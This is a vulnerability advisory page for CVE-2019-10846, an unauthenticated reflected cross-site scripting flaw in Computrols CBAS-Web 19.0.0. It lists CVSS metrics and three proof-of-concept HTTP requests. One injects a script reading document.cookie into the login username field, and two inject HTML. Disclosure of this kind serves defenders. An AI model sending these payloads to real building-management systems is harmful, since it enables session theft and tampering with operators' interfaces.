Computrols CBAS-Web 19.0.0 Cross Site Scripting

2019.11.13

Credit: LiquidWorm

Risk: Low

Local: No

Remote: Yes

CVE: CVE-2019-10846

CWE: CWE-79

CVSS Base Score: 4.3/10

Impact Subscore: 2.9/10

Exploitability Subscore: 8.6/10

Exploit range: Remote

Attack complexity: Medium

Authentication: No required

Confidentiality impact: None

Integrity impact: Partial

Availability impact: None

Computrols CBAS-Web Unauthenticated Reflected XSS
Affected versions: 19.0.0 and below
CVE: CVE-2019-10846
Advisory: https://applied-risk.com/resources/ar-2019-009
Paper: https://applied-risk.com/resources/i-own-your-building-management-system
Discovered by Gjoko 'LiquidWorm' Krstic
--
POST /cbas/index.php?m=auth&a=verifyid HTTP/1.1
username="><script>confirm(document.cookie)</script>&submit_button=Send+Me+a+New+Password+Via+Email
=======
POST /cbas/index.php?m=auth&a=login HTTP/1.1
username="><marquee>htmlinjection</marquee>&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62
=======
GET /cbas/index.php?m=auth&a=login&username="><marquee>my milkshake brings all the boys to the yard.</marquee>&password=damn_right HTTP/1.1

See this note in RAW Version

Vote for this issue:

50%

Thanks for you vote!

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

Nick (*)

Email (*)

Video

Text (*)

(*) - required fields.

{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1

{{ x.comment }}

Computrols CBAS-Web 19.0.0 Cross Site Scripting

Thanks for you vote!

Thanks for you comment!Your message is in quarantine 48 hours.

Thanks for you comment!
Your message is in quarantine 48 hours.